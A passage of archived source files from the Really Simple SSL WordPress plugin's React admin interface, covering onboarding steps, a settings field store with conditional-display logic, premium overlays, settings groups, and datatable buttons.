    const { updateField, setChangedField, updateFieldsData, fetchFieldsData, saveFields, getFieldValue} = useFields();
    const { setSelectedMainMenuItem, selectedSubMenuItem} = useMenu();
    const { licenseStatus, toggleActivation } = useLicense();
    const {
        fetchFirstRun, fetchVulnerabilities
    } = useRiskData();
    const {
        setSslScanStatus,
    } = useSslLabs();
    const {
        dismissModal,
        activateSSL,
        certificateValid,
        setFooterStatus,
        networkwide,
        processing,
        setProcessing,
        steps,
        currentStepIndex,
        currentStep,
        setCurrentStepIndex,
        overrideSSL,
        email,
        saveEmail,
        pluginInstaller,
    } = useOnboardingData();

    const goToDashboard = () => {
        if ( isModal ) {
            dismissModal(true);
        }
        setSelectedMainMenuItem('dashboard');
    }

    const saveAndContinue = async () => {

        let vulnerabilityDetectionEnabled = false;
        if (currentStep.id === 'features') {
            setCurrentStepIndex(currentStepIndex+1);
            setProcessing(true);
            //loop through all items of currentStep.items
            for (const item of currentStep.items){
                if ( item.id=== 'health_scan' && item.activated ) {
                    setFooterStatus(__("Starting SSL health scan...", "really-simple-ssl") );
                    setSslScanStatus('active');
                }

                if ( ! item.premium || ! item.activated ) {
                    for (const fieldId of Object.values(item.options)) {
                        const value = item.value || item.activated;
                        updateField(fieldId, value);
                        setChangedField(fieldId, value);
                    }
                }

                if  ( item.id === 'vulnerability_detection' ) {
                    vulnerabilityDetectionEnabled = item.activated;
                }
            }
            setFooterStatus(__("Activating options...", "really-simple-ssl") );
            await saveFields(true, false);
            if (vulnerabilityDetectionEnabled) {
                setFooterStatus(__("Initializing vulnerability detection...", "really-simple-ssl") );
                await fetchFirstRun();
                setFooterStatus(__("Scanning for vulnerabilities...", "really-simple-ssl") );
                await fetchVulnerabilities();
            }

            setFooterStatus(__("Updating dashboard...", "really-simple-ssl") );
            await getProgressData();
            setFooterStatus( '' );
            setProcessing(false);
        }

        if ( currentStep.id === 'email' ) {
            await saveEmail();
            setCurrentStepIndex(currentStepIndex+1);
            updateField('send_notifications_email', true );
            updateField('notifications_email_address', email );
            updateFieldsData(selectedSubMenuItem);
        }

        if ( currentStep.id === 'plugins' ) {
            setCurrentStepIndex(currentStepIndex+1)
            for (const item of currentStep.items) {
                if (item.action !== 'none' && item.action !== null ) {
                    // Add the promise returned by pluginInstaller to the array
                    await pluginInstaller(item.id, item.action, item.title );
                }
            }
            setFooterStatus('')
        }

        if (currentStep.id === 'pro') {
            if (rsssl_settings.pro_plugin_active) {
                setProcessing(true);
                //loop through all items of currentStep.items
                for (const item of currentStep.items) {
                    if (item.activated) {
                        if (item.id === 'advanced_headers') {
                            for (const option of item.options) {
                                if (typeof option === 'string') {
                                    // Single option
                                    updateField(option, true);
                                    setChangedField(option, true);
                                } else if (Array.isArray(option)) {
                                    // [option -> value] pair
                                    const [fieldId, value] = option;
                                    updateField(fieldId, value);
                                    setChangedField(fieldId, value);
                                }
                            }
                        } else {
                            for (const fieldId of Object.values(item.options)) {
                                const value = item.value || item.activated;
                                updateField(fieldId, value);
                                setChangedField(fieldId, value);
                            }
                        }
                    }
                }
                setFooterStatus(__("Activating options...", "really-simple-ssl"));
                await saveFields(true, false);

                setFooterStatus(__("Updating dashboard...", "really-simple-ssl"));
                await getProgressData();
                setFooterStatus('');
                setProcessing(false);
            }
            goToDashboard();
        }

        if ( currentStep.id === 'activate_license' ) {
            if ( licenseStatus !== 'valid' ) {
                await toggleActivation(getFieldValue('license'));
                //if the license is valid, allow the user to go to the next step
                if ( licenseStatus === 'valid' ) {
                    setCurrentStepIndex( currentStepIndex + 1 );
                }
            }

        }
    }

    const handleActivateSSL = async () => {
        await activateSSL();
        await getProgressData();
        await fetchFieldsData( );
    }

    const goToLetsEncrypt = () => {
        if (isModal) dismissModal(true);
        window.location.href=rsssl_settings.letsencrypt_url;
    }

    let ActivateSSLText = networkwide ? __("Activate SSL networkwide", "really-simple-ssl") : __("Activate SSL", "really-simple-ssl");
    if (currentStep.id === 'activate_ssl') {
        return (
            <>
                {isModal && !certificateValid && (
                    <Button onClick={() => { goToLetsEncrypt() }}>
                        {__("Install SSL", "really-simple-ssl")}
                    </Button>
                )}
                <Button
                    disabled={processing || (!certificateValid && !overrideSSL)}
                    isPrimary
                    onClick={() => { handleActivateSSL() }}
                >
                    {ActivateSSLText}
                </Button>
            </>
        );
    }

    if (currentStep.id === 'activate_license') {
        return (
            <>
                <Button isPrimary onClick={() => saveAndContinue()}>
                    {currentStep.button || __('Activate', 'really-simple-ssl')}
                </Button>
            </>
        );
    }

    if (currentStepIndex>0 && currentStepIndex<steps.length-1 ) {
        return (
            <>
                {currentStep.id !== 'activate_license' && <Button  onClick={() => {setCurrentStepIndex(currentStepIndex+1)}}>{__('Skip', 'really-simple-ssl')}</Button> }
                <Button isPrimary onClick={() => saveAndContinue() }>
                    {currentStep.button}
                </Button>
            </>
        );
    }

    //for last step only
    if ( steps.length-1 === currentStepIndex ) {
        let upgradeText = rsssl_settings.is_bf ? __("Get 40% off", "really-simple-ssl") : __("Get Pro", "really-simple-ssl");

        return (
            <>
                <Button
                    isPrimary
                    onClick={() => saveAndContinue()}
                    disabled={ rsssl_settings.pro_plugin_active && licenseStatus !== 'valid' }
                >
                    {__('Finish', 'really-simple-ssl')}
                </Button>
                { !rsssl_settings.pro_plugin_active &&
                    <Button
                        rel="noreferrer noopener"
                        target="_blank"
                        isPrimary
                        href={rsssl_settings.upgrade_link}
                    >
                        {upgradeText}
                    </Button>
                }
            </>
        );
    }
}

export default OnboardingControls;really-simple-ssl/settings/src/Onboarding/onboarding.scss000064400000002047147510273070017663 0ustar00  .rsssl-modal.rsssl-onboarding-modal .rsssl-modal-body, .rsssl-letsencrypt .rsssl-le-activate_ssl {

    .rsssl-override-detection-toggle {
      margin-bottom: -15px;
    }
    input[type=email] {
      width: 100%;
      margin-bottom: var(--rsp-spacing-m);
      border: 2px solid;
      height: 50px;
      border-color: var(--rsp-grey-300);
    }
    //hide select label
    .rsssl-select {
      label {
        display: none;
      }
      .components-select-control__input{
        height:45px;
        padding: 8px 20px;
        color: var(--rsp-grey-500);
      }
    }

    .rsssl-activate_ssl, .rsssl-plugins {
      ul {
        column-count: 1;
      }
    }

    ul {
      li {
        display: flex;
        align-items: flex-start;
        margin-bottom: var(--rsp-spacing-xxs);
        &.rsssl-is-plugin{
          background-color: var(--rsp-grey-100);
          border: none;
          margin: 10px 0;
          padding:5px 0;
          position:relative;
        }
        .rsssl-icon{
          margin-right:7px;
        }
      }
    }

}really-simple-ssl/settings/src/Settings/FieldsData.js000064400000036466147510273070016734 0ustar00import {create} from 'zustand';
import {produce} from 'immer';
import * as rsssl_api from "../utils/api";
import {__} from '@wordpress/i18n';
import {toast} from 'react-toastify';

const fetchFields = () => {
    return rsssl_api.getFields().then((response) => {
        let fields = response.fields;
        let progress = response.progress;
        let error = response.error;
        return {fields, progress, error};
    }).catch((error) => {
        console.error(error);
    });
}

const useFields = create(( set, get ) => ({
    fieldsLoaded: false,
    error:false,
    fields: [],
    changedFields:[],
    progress:[],
    nextButtonDisabled:false,
    overrideNextButtonDisabled:false,
    refreshTests:false,
    highLightField: '',
    setHighLightField: (highLightField) => {
        set({ highLightField });
    },

    setRefreshTests: (refreshTests) => set(state => ({ refreshTests })),
    handleNextButtonDisabled: (nextButtonDisabled) => {
        set({overrideNextButtonDisabled: nextButtonDisabled});
    },
    setChangedField: (id, value) => {
        set(
            produce((state) => {
                //remove current reference
                const existingFieldIndex = state.changedFields.findIndex(field => {
                    return field.id===id;
                });

                if (existingFieldIndex!==-1){
                    state.changedFields.splice(existingFieldIndex, 1);
                }

                //add again, with new value
                let field = {};
                field.id = id;
                field.value = value;
                state.changedFields.push(field);
            })
        )
    },
    showSavedSettingsNotice : (text , type = 'success') => {
        handleShowSavedSettingsNotice(text, type);
    },

    updateField: (id, value) => {
        set(
            produce((state) => {
                let index = state.fields.findIndex(fieldItem => fieldItem.id === id);
                if (index !== -1) {
                    state.fields[index].value = value;
                }
            })
        )
    },
    updateFieldAttribute: (id, attribute, value) => {
        set(
            produce((state) => {
                let index = state.fields.findIndex(fieldItem => fieldItem.id === id);
                if (index !== -1) {
                    state.fields[index][attribute] = value;
                }
            })
        )
    },
    updateSubField: (id, subItemId, value) => {
        set(
            produce((state) => {
                let index = state.fields.findIndex(fieldItem => fieldItem.id === id);
                let itemValue = state.fields[index].value;
                if (!Array.isArray(itemValue)) {
                    itemValue = [];
                }

                let subIndex = itemValue.findIndex(subItem => subItem.id === subItemId);
                if (subIndex !== -1) {
                    state.fields[index].updateItemId = subItemId;
                    state.fields[index].value[subIndex]['value'] = value;
                    state.fields[index].value = itemValue.map(item => {
                        const { deleteControl, valueControl, statusControl, ...rest } = item;
                        return rest;
                    });
                }
            })
        )
    },
    removeHelpNotice: (id) => {
        set(
            produce((state) => {
                const fieldIndex = state.fields.findIndex(field => {
                    return field.id===id;
                });
                state.fields[fieldIndex].help = false;
            })
        )
    },
    addHelpNotice : (id, label, text, title, url) => {
        get().removeHelpNotice(id);
        //create help object

        let help = {};
        help.label=label;
        help.text=text;
        if (url) help.url=url;
        if (title) help.title=title;
        set(
            produce((state) => {
                const fieldIndex = state.fields.findIndex(field => {
                    return field.id===id;
                });
                if (fieldIndex!==-1) {
                    state.fields[fieldIndex].help = help;
                }
            })
        )
    },
    fieldAlreadyEnabled: (id) => {
        let fieldIsChanged = get().changedFields.filter(field => field.id === id ).length>0;
        let fieldIsEnabled = get().getFieldValue(id);
        return !fieldIsChanged && fieldIsEnabled;
    },
    getFieldValue : (id) => {
        let fields = get().fields;
        let fieldItem = fields.filter(field => field.id === id )[0];
        if (fieldItem){
            return fieldItem.value;
        }
        return false;
    },
    getField : (id) => {
        let fields = get().fields;
        let fieldItem = fields.filter(field => field.id === id )[0];
        if (fieldItem){
            return fieldItem;
        }
        return false;
    },
    saveFields: async (skipRefreshTests, showSavedNotice, force = false) => {
        let refreshTests = typeof skipRefreshTests !== 'undefined' ? skipRefreshTests : true;
        showSavedNotice = typeof showSavedNotice !== 'undefined' ? showSavedNotice : true;
        let fields = get().fields;
        fields = fields.filter(field => field.data_target !== 'banner');
        let changedFields = get().changedFields;
        let saveFields = [];
        //data_target
        for (const field of fields) {
            let fieldIsIncluded = changedFields.filter(changedField => changedField.id === field.id).length > 0;
            //also check if there's no saved value yet for radio fields, by checking the never_saved attribute.
            //a radio or select field looks like it's completed, but won't save if it isn't changed.
            //this should not be the case for disabled fields, as these fields often are enabled server side because they're enabled outside Really Simple Security.
            let select_or_radio = field.type === 'select' || field.type === 'radio';
            if (fieldIsIncluded || (field.never_saved && !field.disabled && select_or_radio)) {
                saveFields.push(field);
            }
        }

        //if no fields were changed, do nothing.
        if (saveFields.length > 0 || force === true) {
            let response = rsssl_api.setFields(saveFields).then((response) => {
                return response;
            })

            if (showSavedNotice) {
                toast.promise(
                    response,
                    {
                        pending: __('Saving settings...', 'really-simple-ssl'),
                        success: __('Settings saved', 'really-simple-ssl'),
                        error: __('Something went wrong', 'really-simple-ssl'),
                    }
                );
            }
            await response.then((response) => {
                set(
                    produce((state) => {
                        state.changedFields = [];
                        state.fields = response.fields;
                        state.progress = response.progress;
                        state.refreshTests = refreshTests;
                    })
                )
            });
        }

        if (showSavedNotice && saveFields.length === 0) {
            //nothing to save. show instant success.
            toast.promise(
                Promise.resolve(),
                {
                    success: __('Settings saved', 'really-simple-ssl'),
                }
            );
        }

    },

    updateFieldsData: (selectedSubMenuItem) => {
        let fields = get().fields;
        fields = updateFieldsListWithConditions(fields);

        //only if selectedSubMenuItem is actually passed
        if (selectedSubMenuItem) {
            let nextButtonDisabled = isNextButtonDisabled(fields, selectedSubMenuItem);
            //if the button was set to disabled with the handleNextButtonDisabled function, we give that priority until it's released.
            if (get().overrideNextButtonDisabled) {
                nextButtonDisabled = get().overrideNextButtonDisabled;
            }
            set(
                produce((state) => {
                    state.nextButtonDisabled = nextButtonDisabled;
                })
            )
        }

        set(
            produce((state) => {
                state.fields = fields;
            })
        )
    },
    fetchFieldsData: async ( selectedSubMenuItem ) => {
        const { fields, progress, error }   = await fetchFields();
        let conditionallyEnabledFields = updateFieldsListWithConditions(fields);
        let selectedFields = conditionallyEnabledFields.filter(field => field.menu_id === selectedSubMenuItem);
        set({fieldsLoaded: true, fields:conditionallyEnabledFields, selectedFields:selectedFields, progress:progress, error: error });
    }
}));

export default useFields;

//check if all required fields have been enabled. If so, enable save/continue button
const isNextButtonDisabled = (fields, selectedMenuItem) => {
    let fieldsOnPage = [];
    //get all fields with group_id this.props.group_id
    for (const field of fields){
        if (field.menu_id === selectedMenuItem ){
            fieldsOnPage.push(field);
        }
    }

    let requiredFields = fieldsOnPage.filter(field => field.required && !field.conditionallyDisabled && (field.value.length==0 || !field.value) );
    return requiredFields.length > 0;
}

const updateFieldsListWithConditions = (fields) => {
    let newFields = [];
    if (!fields || !Array.isArray(fields)) {
        return [];
    }
    fields.forEach(function(field, i) {
        let enabled = !( field.hasOwnProperty('react_conditions') && !validateConditions(field.react_conditions, fields, field.id) );
        let previouslyEnabled = !field.conditionallyDisabled;
        //we want to update the changed fields if this field has just become visible. Otherwise the new field won't get saved.
        const newField = {...field};
        newField.conditionallyDisabled = !enabled;
        newField.visible = !(!enabled && (newField.type === 'letsencrypt' || newField.condition_action === 'hide'));

        newFields.push(newField);
        //if this is a learning mode field, do not add it to the changed fields list
        if ( !previouslyEnabled && newField.enabled && field.type!=='learningmode') {
            set().setChangedField(field.id, field.value);
        }
    });
    return newFields;
}

const handleShowSavedSettingsNotice = ( text, type ) => {
    if (typeof text === 'undefined') {
        text = __( 'Settings saved', 'really-simple-ssl' );
    }

    if (typeof type === 'undefined') {
        type = 'success';
    }

    if (type === 'error') {
        toast.error(text);
    }

    if (type === 'warning') {
        toast.warning(text);
    }

    if (type === 'info') {
        toast.info(text);
    }

    if (type === 'success') {
        toast.success(text);
    }
}

const validateConditions = (conditions, fields, fieldId) => {
    let relation = conditions[0].relation === 'OR' ? 'OR' : 'AND';
    let conditionApplies = relation==='AND';
    for (const key in conditions) {
        if ( conditions.hasOwnProperty(key) ) {
            let thisConditionApplies = relation==='AND';
            let subConditionsArray = conditions[key];
            if ( subConditionsArray.hasOwnProperty('relation') ) {
                thisConditionApplies = validateConditions(subConditionsArray, fields, fieldId)
            } else {
                for ( let conditionField in subConditionsArray ) {
                    let invert = conditionField.indexOf('!')===0;
                    if ( subConditionsArray.hasOwnProperty(conditionField) ) {
                        let conditionValue = subConditionsArray[conditionField];
                        conditionField = conditionField.replace('!','');
                        let conditionFields = fields.filter(field => field.id === conditionField);
                        if ( conditionFields.hasOwnProperty(0) ){
                            let field = conditionFields[0];
                            let actualValue = field.value;
                            if ( field.type==='text_checkbox' ) {
                                thisConditionApplies = actualValue.hasOwnProperty('show') && actualValue['show'] == conditionValue;//can be 1/true or 0/false
                            } else if ( field.type==='checkbox' ) {
                                thisConditionApplies = actualValue == conditionValue;//can be 1/true or 0/false
                            } else if ( field.type==='multicheckbox' ) {
                                //multicheckbox conditions
                                //loop through objects
                                thisConditionApplies = false;
                                let arrayValue = actualValue;
                                if ( arrayValue.length===0 ) {
                                    thisConditionApplies = false;
                                } else {
                                    for (const key of Object.keys(arrayValue)) {
                                        if ( !Array.isArray(conditionValue) ) conditionValue = [conditionValue];
                                        if ( conditionValue.includes(arrayValue[key])){
                                            thisConditionApplies = true;
                                            break;
                                        }
                                    }
                                }
                            } else if ( field.type==='radio' ) {
                                //as the regions field can be both radio and multicheckbox, an array is possible for a radio field
                                if ( Array.isArray(conditionValue) ) {
                                    thisConditionApplies = conditionValue.includes(actualValue);
                                } else {
                                    thisConditionApplies = conditionValue === actualValue;
                                }

                            } else {
                                if (conditionValue === true ) {
                                    thisConditionApplies = actualValue===1 || actualValue === "1" || actualValue === true;
                                } else if (conditionValue === false ) {
                                    thisConditionApplies = actualValue === 0 || actualValue === "0" || actualValue === false;
                                } else if (conditionValue.indexOf('EMPTY')!==-1) {
                                    thisConditionApplies = actualValue.length === 0;
                                } else {
                                    thisConditionApplies = String(actualValue).toLowerCase() === conditionValue.toLowerCase();
                                }
                            }
                        }
                    }
                    if ( invert ){
                        thisConditionApplies = !thisConditionApplies;
                    }
                    if ( relation === 'AND' ) {
                        conditionApplies = conditionApplies && thisConditionApplies;
                    } else {
                        conditionApplies = conditionApplies || thisConditionApplies;
                    }
                }

                if ( relation === 'AND' ) {
                    conditionApplies = conditionApplies && thisConditionApplies;
                } else {
                    conditionApplies = conditionApplies || thisConditionApplies;
                }
            }
        }
    }

    return conditionApplies ? 1 : 0;
}
really-simple-ssl/settings/src/Settings/PremiumOverlay.js000064400000003647147510273070017707 0ustar00import {__} from "@wordpress/i18n";
import useLicense from "./License/LicenseData";
import Hyperlink from "../utils/Hyperlink";

const PremiumOverlay = ({msg, title, upgrade}) => {
    const {licenseStatus} = useLicense();
    let pro_plugin_active = rsssl_settings.pro_plugin_active === '1'
    let target = pro_plugin_active ? '_self' : '_blank';
    let upgradeButtonText = pro_plugin_active ? __("Check license", "really-simple-ssl") : __("Go Pro", "really-simple-ssl");
    let upgradeUrl = upgrade ? upgrade : rsssl_settings.upgrade_link;
    if (pro_plugin_active) {
        upgradeUrl = '#settings/license';
    }
    let message = msg ? msg : <Hyperlink text={__("Learn more about %sPremium%s", "really-simple-ssl")} url={upgradeUrl}/>;
    if ( pro_plugin_active ) {
        if (licenseStatus === 'empty' || licenseStatus === 'deactivated') {
            message = rsssl_settings.messageInactive;
        } else {
            message = rsssl_settings.messageInvalid;
        }
    }

    return (
        <div className="rsssl-locked rsssl-locked-premium">
            <div className="rsssl-locked-overlay rsssl-premium">
                {/* header */}
                <div className="rsssl-locked-header">
                    <h5 className={'rsssl-locked-header-title'}>{title}</h5>
                </div>
                <div className="rsssl-locked-content">
                    <span>{message}&nbsp;</span>
                </div>
                <div className="rsssl-locked-footer">
                    {/* We place a button on the left side */}
                    <div className="rsssl-grid-item-footer-buttons">
                        <a
                            className="button button-primary left"
                            href={upgradeUrl} target={target}>{upgradeButtonText}
                        </a>
                    </div>
                </div>
            </div>
        </div>
    );
}

export default PremiumOverlay;really-simple-ssl/settings/src/Settings/SettingsGroup.js000064400000020113147510273070017527 0ustar00import Hyperlink from "../utils/Hyperlink";
import getAnchor from "../utils/getAnchor";
import {__} from '@wordpress/i18n';
import * as rsssl_api from "../utils/api";
import useFields from "../Settings/FieldsData";
import useMenu from "../Menu/MenuData";
import useLicense from "./License/LicenseData";
import filterData from "./FilterData";
import {useEffect, useState} from '@wordpress/element';
import ErrorBoundary from "../utils/ErrorBoundary";
import PremiumOverlay from "./PremiumOverlay";

/**
 * Render a grouped block of settings
 */
const SettingsGroup = (props) => {

    const {fields} = useFields();
    const {selectedFilter, setSelectedFilter} = filterData();
    const {licenseStatus} = useLicense();
    const {selectedSubMenuItem, subMenu} = useMenu();
    const [Field, setField] = useState(null);
    const [updatedIntro, setUpdatedIntro] = useState(null);

    useEffect(() => {
        import("./Field").then(({default: Field}) => {
            setField(() => Field);
        });
        if (activeGroup && activeGroup.intro && typeof activeGroup.intro === 'object') {
            setUpdatedIntro(activeGroup.intro[selectedFilter[filterId]]);
        }

    }, [selectedFilter]);

    /*
    * On reset of LE, send this info to the back-end, and redirect to the first step.
    * reload to ensure that.
    */
    const handleLetsEncryptReset = (e) => {
        e.preventDefault();
        rsssl_api.runLetsEncryptTest('reset').then((response) => {
            window.location.href = window.location.href.replace(/#letsencrypt.*/, '&r=' + (+new Date()) + '#letsencrypt/le-system-status');
        });
    }

    let selectedFields = [];
    //get all fields with group_id props.group_id
    for (const selectedField of fields) {
        if (selectedField.group_id === props.group) {
            selectedFields.push(selectedField);
        }
    }

    let activeGroup;
    for (const item of subMenu.menu_items) {
        if (item.id === selectedSubMenuItem && item.hasOwnProperty('groups')) {
            for (const group of item.groups) {
                if (group.group_id === props.group) {
                    activeGroup = group;
                    break;
                }
            }
        }
        if (activeGroup) break; // Exit the loop once a match is found.
    }

// If activeGroup is not set, then default to the parent menu item.
    if (!activeGroup) {
        for (const item of subMenu.menu_items) {
            if (item.id === selectedSubMenuItem) {
                activeGroup = item;
                break;
            }
            // Handle the case where there are nested menu items.
            if (item.menu_items) {
                const nestedItem = item.menu_items.find(menuItem => menuItem.id === selectedSubMenuItem);
                if (nestedItem) {
                    activeGroup = nestedItem;
                    break;
                }
            }
        }
    }

    // Check for nested groups in the activeGroup.
    if (activeGroup && activeGroup.groups) {
        const nestedGroup = activeGroup.groups.find(group => group.group_id === props.group);
        if (nestedGroup) {
            activeGroup = nestedGroup;
        } else {
            const nestedGroup = activeGroup.groups.find(group => group.group_id === props.group);

        }
    }

    let disabled = licenseStatus !== 'valid' && activeGroup.premium;
    //if a feature can only be used on networkwide or single site setups, pass that info here.
    let networkwide_error = !rsssl_settings.networkwide_active && activeGroup.networkwide_required;
    let helplinkText = activeGroup.helpLink_text ? activeGroup.helpLink_text : __("Instructions", "really-simple-ssl");
    let anchor = getAnchor('main');
    let disabledClass = disabled || networkwide_error ? 'rsssl-disabled' : '';
    const filterId = "rsssl-group-filter-" + activeGroup.id;
    //filter out all fields that are not visible
    selectedFields = selectedFields.filter((field) => {
        if (field.hasOwnProperty('visible')) {
            return field.visible;
        }
        return true;
    });
    //if there are no visible fields, return null
    if (selectedFields.length === 0) {
        return null;
    }
    return (
        <div className={"rsssl-grid-item rsssl-" + activeGroup.id + ' ' + disabledClass}>
            {activeGroup.title && <div className="rsssl-grid-item-header">
                <h3 className="rsssl-h4">{activeGroup.title}</h3>
                {activeGroup.groupFilter && (
                        <div className="rsssl-grid-item-controls">
                            <select
                                className="rsssl-group-filter"
                                id={filterId}
                                name={filterId}
                                value={selectedFilter[filterId]}
                                onChange={(e) => {
                                    const selectedValue = e.target.value;
                                    setSelectedFilter(selectedValue, filterId);
                                }}
                            >
                                {activeGroup.groupFilter.options.map((option) => (
                                    //if the value is equal to the selected value, set it as selected
                                    <option
                                        key={'option-'+option.id}
                                        value={option.id}
                                    >
                                        {option.title}
                                    </option>
                                ))}
                            </select>
                    </div>
                )}
                {!activeGroup.groupFilter && activeGroup.helpLink && anchor !== 'letsencrypt' && (
                    <div className="rsssl-grid-item-controls">
                        <Hyperlink
                            target="_blank"
                            rel="noopener noreferrer"
                            className="rsssl-helplink"
                            text={helplinkText}
                            url={activeGroup.helpLink}
                        />
                    </div>
                )}
                {anchor === 'letsencrypt' && <div className="rsssl-grid-item-controls">
                    <a href="#" className="rsssl-helplink"
                       onClick={(e) => handleLetsEncryptReset(e)}>{__("Reset Let's Encrypt", "really-simple-ssl")}</a>
                </div>}
            </div>}
            <div className="rsssl-grid-item-content">
                {(activeGroup.intro && typeof activeGroup.intro === 'string') && <ErrorBoundary fallback={"Could not load group intro"}>
                    {(activeGroup.intro && typeof activeGroup.intro === 'string') && <div className="rsssl-settings-block-intro">{activeGroup.intro}</div>}
                    {(activeGroup.intro &&  typeof activeGroup.intro === 'object') && <div className="rsssl-settings-block-intro">{updatedIntro}</div>}
                </ErrorBoundary>}

                {Field && selectedFields.map((field, i) =>
                        <Field key={"selectedFields-" + i} index={i} field={field} fields={selectedFields}/>
                )}
            </div>
            {disabled && !networkwide_error && <PremiumOverlay
                msg={activeGroup.premium_text}
                title={activeGroup.premium_title ? activeGroup.premium_title : activeGroup.title}
                upgrade={activeGroup.upgrade}
                url={activeGroup.upgrade}
            />}

            {networkwide_error && <div className="rsssl-locked">
                <div className="rsssl-locked-overlay">
                    <span
                        className="rsssl-task-status rsssl-warning">{__("Network feature", "really-simple-ssl")}</span>
                    <span>{__("This feature is only available networkwide.", "really-simple-ssl")}<Hyperlink
                        target="_blank" rel="noopener noreferrer" text={__("Network settings", "really-simple-ssl")}
                        url={rsssl_settings.network_link}/></span>
                </div>
            </div>}

        </div>
    )
}

export default SettingsGroup
really-simple-ssl/settings/src/Settings/Password.js000064400000001761147510273070016524 0ustar00import useFields from "./FieldsData";

const Password = (props) => {
    const {updateField, setChangedField} = useFields();

    const onChangeHandler = (fieldValue) => {
        updateField( props.field.id, fieldValue );
        setChangedField( props.field.id, fieldValue );
    }

    /**
     * There is no "PasswordControl" in WordPress react yet, so we create our own license field.
     */
    return (
        <div className="components-base-control">
         <div className="components-base-control__field">
             <label
                 className="components-base-control__label"
                 htmlFor={props.field.id}>{props.field.label}</label>
             <input className="components-text-control__input"
                    type="password"
                    id={props.field.id}
                    value={props.field.value}
                    onChange={ ( e ) => onChangeHandler(e.target.value) }
             />
         </div>
        </div>
    );
}

export default Password;really-simple-ssl/settings/src/Settings/RolesDropDown.js000064400000007153147510273070017464 0ustar00import { useState, useEffect } from '@wordpress/element';
import Select from 'react-select';
import useFields from "./FieldsData";
import useRolesData from './TwoFA/RolesStore';
import {__} from "@wordpress/i18n";
import './TwoFA/select.scss';
/**
 * RolesDropDown component represents a dropdown select for excluding roles
 * from two-factor authentication email.
 * @param {object} field - The field object containing information about the field.
 */
const RolesDropDown = ({ field }) => {
    const {fetchRoles, roles, rolesLoaded} = useRolesData();
    const [selectedRoles, setSelectedRoles] = useState([]);
    const [rolesEnabled, setRolesEnabled] = useState(false);

    // Custom hook to manage form fields
    const { updateField, setChangedField, fieldsLoaded,getFieldValue  } = useFields();
    let enabled = true;


    useEffect(() => {
        if (!rolesLoaded) {
            fetchRoles(field.id);
        }
    }, [rolesLoaded]);

    useEffect(() => {
        if ( !field.value ) {
            setChangedField(field.id, field.default);
            updateField(field.id, field.default);
            setSelectedRoles( field.default.map((role, index) => ({ value: role, label: role.charAt(0).toUpperCase() + role.slice(1) })));
        }
        setSelectedRoles( field.value.map((role, index) => ({ value: role, label: role.charAt(0).toUpperCase() + role.slice(1) })));
    },[fieldsLoaded]);


    //if the field enforce_frequent_password_change is enabled, then the field is enabled
    useEffect(() => {
        setRolesEnabled(getFieldValue('enforce_frequent_password_change'));
    },[getFieldValue('enforce_frequent_password_change')]);

    /**
     * Handles the change event of the react-select component.
     * @param {array} selectedOptions - The selected options from the dropdown.
     */
    const handleChange = (selectedOptions) => {
        // Extract the values of the selected options
        const rolesExcluded = selectedOptions.map(option => option.value);
        // Update the selectedRoles state
        setSelectedRoles(selectedOptions);
        // Update the field and changedField using the custom hook functions
        updateField(field.id, rolesExcluded);
        setChangedField(field.id, rolesExcluded);
    };

    const customStyles = {
        multiValue: (provided) => ({
            ...provided,
            borderRadius: '10px',
            backgroundColor: '#F5CD54',
        }),
        multiValueRemove: (base, state) => ({
            ...base,
            color: state.isHovered ? 'initial' : base.color,
            opacity: '0.7',
            ':hover': {
                backgroundColor: 'initial',
                color: 'initial',
                opacity: '1',
            },
        }),
        menuList: (provided) => ({
            ...provided,
            height: '125px',
            zIndex: 999
        }),
    };

    return (
        <div style={{marginTop: '5px'}}>
            <Select
                isMulti
                options={roles}
                onChange={handleChange}
                value={selectedRoles}
                menuPosition={"fixed"}
                styles={customStyles}
                isDisabled={!rolesEnabled}
            />
            {! enabled &&
                <div className="rsssl-locked">
                    <div className="rsssl-locked-overlay"><span
                        className="rsssl-task-status rsssl-open">{__('Disabled', 'really-simple-ssl')}</span><span>{__('Activate Two-Factor Authentication to enable this block.', 'really-simple-ssl')}</span>
                    </div>
                </div>
            }
        </div>
    );
};

export default RolesDropDown;really-simple-ssl/settings/src/Settings/DataTable/Buttons/ControlButton.js000064400000001414147510273070023010 0ustar00import DataTableStore from "../DataTableStore";
import './Buttons.scss'
import Icon from "../../../utils/Icon";
const ControlButton = ({ controlButton }) => {
    const {
        processing,
    } = DataTableStore();
    return (
        <div className="rsssl-add-button">
            <div className="rsssl-add-button__inner">
                <button
                    className="button button-secondary button-datatable rsssl-add-button__button"
                    onClick={controlButton.onClick}
                    disabled={processing}
                >
                    {processing &&  <Icon name = "loading" color = 'grey' />}
                    {controlButton.label}
                </button>
            </div>
        </div>
    );
};
export default ControlButton;really-simple-ssl/settings/src/Settings/DataTable/Buttons/Buttons.scss000064400000000776147510273070022203 0ustar00.rsssl-datatable-component {

  .rsssl-action-buttons__inner {
    .rsssl-action-buttons__button {
      &.rsssl-red {
        border: 0 solid transparent;
        background: var(--rsp-red);
        color: var(--rsp-text-color-white);

        &:hover {
          background: var(--rsp-dark-red);
          color: var(--rsp-text-color-white);

        }
      }
    }
  }

  .rsssl-add-button__button, .rsssl-action-buttons__button {
    display: flex;

    .rsssl-icon {
      margin-right: 10px;
    }
  }
}really-simple-ssl/settings/src/Settings/DataTable/Buttons/MultiSelectButton.js000064400000001461147510273070023624 0ustar00import DataTableStore from "../DataTableStore";
import './Buttons.scss'
import Icon from "../../../utils/Icon";
import {memo} from "@wordpress/element";

const MultiSelectButton = ({ids, buttonData}) => {
    const {
        processing,
        rowAction,
    } = DataTableStore();
    return (
        <div className={`rsssl-action-buttons__inner`}>
            <button
                className={`button ${buttonData.className} rsssl-action-buttons__button`}
                onClick={(e) => rowAction(ids, buttonData.action, buttonData.type, buttonData.reloadFields) }
                disabled={processing}
            >
                {processing &&  <Icon name = "loading" color = 'grey' />}
                {buttonData.label}
            </button>
        </div>
    );
};
export default memo(MultiSelectButton)really-simple-ssl/settings/src/Settings/DataTable/Buttons/RowButton.js000064400000001330147510273070022134 0ustar00import DataTableStore from "../DataTableStore";
import './Buttons.scss'
import Icon from "../../../utils/Icon";
import {memo} from "@wordpress/element";

const RowButton = ({id, buttonData}) => {
    const {
        processing,
        rowAction,
    } = DataTableStore();
    return (
        <div className={`rsssl-action-buttons__inner`}>
            <button
                className={`button ${buttonData.className} rsssl-action-buttons__button`}
                onClick={(e) => rowAction([id], buttonData.action, buttonData.type, buttonData.reloadFields) }
                disabled={processing}
            >
                {buttonData.label}
            </button>
        </div>
    );
};
